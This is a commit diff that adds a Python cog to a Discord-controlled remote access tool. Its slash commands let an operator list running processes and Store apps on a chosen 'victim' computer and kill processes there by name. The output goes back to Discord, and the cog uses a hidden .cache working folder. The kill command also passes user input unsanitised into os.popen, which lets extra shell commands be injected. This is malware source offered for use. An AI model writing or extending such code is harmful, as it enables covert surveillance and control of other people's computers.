1+ import disnake as discord
2+ from disnake .ext import commands
3+ from datetime import datetime
4+ from io import BytesIO
5+
6+ import os , requests
7+ nr_working = f"C:\\ Users\\ { os .getenv ('username' )} \\ .cache"
8+
9+ class TaskList (commands .Cog ):
10+ def __init__ (self , bot : commands .Bot ):
11+ self .bot = bot
12+
13+ @commands .slash_command ( )
14+ async def list_runningtasks (self , ctx , victim ):
15+ """Lists all running tasks in the PC
16+
17+ Parameters
18+ ----------
19+ victim: Identifier of the affected computer (found via /listvictims).
20+ """
21+
22+ if str (victim ) == str (self .bot .identifier ):
23+ await ctx .response .defer ()
24+
25+ list = os .popen ('tasklist' ).read () # I swear I'll make it better later
26+
27+ if len (list ) > 1998 :
28+ return await ctx .followup .send (
29+ file = discord .File (
30+ BytesIO (bytes (list , 'utf-8' )),
31+ filename = "tasklist.txt"
32+ )
33+ )
34+ else :
35+ return await ctx .followup .send (
36+ f"```{ list } ```"
37+ )
38+
39+ @commands .slash_command ( )
40+ async def list_runningstore (self , ctx , victim ):
41+ """Lists all Microsoft Store apps running on the PC
42+
43+ Parameters
44+ ----------
45+ victim: Identifier of the affected computer (found via /listvictims).
46+ """
47+
48+ if str (victim ) == str (self .bot .identifier ):
49+ await ctx .response .defer ()
50+
51+ list = os .popen ('tasklist /APPS' ).read () # I SWEAR...
52+
53+ if len (list ) > 1998 :
54+ return await ctx .followup .send (
55+ file = discord .File (
56+ BytesIO (bytes (list , 'utf-8' )),
57+ filename = "storelist.txt"
58+ )
59+ )
60+ else :
61+ return await ctx .followup .send (
62+ f"```{ list } ```"
63+ )
64+
65+ @commands .slash_command ( )
66+ async def kill_runningtasks (self , ctx , victim , task ):
67+ """Kills a running task on this PC. [NOTE: ADMIN TASK'S CANT BE KILLED]
68+
69+ Parameters
70+ ----------
71+ victim: Identifier of the affected computer (found via /listvictims).
72+ task: Task to kill ( give real name + extension {ex: mspaint.exe} )
73+ """
74+
75+ if str (victim ) == str (self .bot .identifier ):
76+ await ctx .response .defer ()
77+
78+ list = os .popen ('taskkill /f /t /im ' + task ).read () # I SWEAR...
79+
80+ if len (list ) <= 1 :
81+ return await ctx .followup .send (
82+ embed = self .bot .genEmbed (
83+ "Unable to find process!" ,
84+ datetime .now ()
85+ )
86+ )
87+ if len (list ) > 1998 :
88+ return await ctx .followup .send (
89+ file = discord .File (
90+ BytesIO (bytes (list , 'utf-8' )),
91+ filename = "storelist.txt"
92+ )
93+ )
94+ else :
95+ return await ctx .followup .send (
96+ f"```{ list } ```"
97+ )
98+ def setup (bot : commands .Bot ):
99+ bot .add_cog (TaskList (bot ))
0 commit comments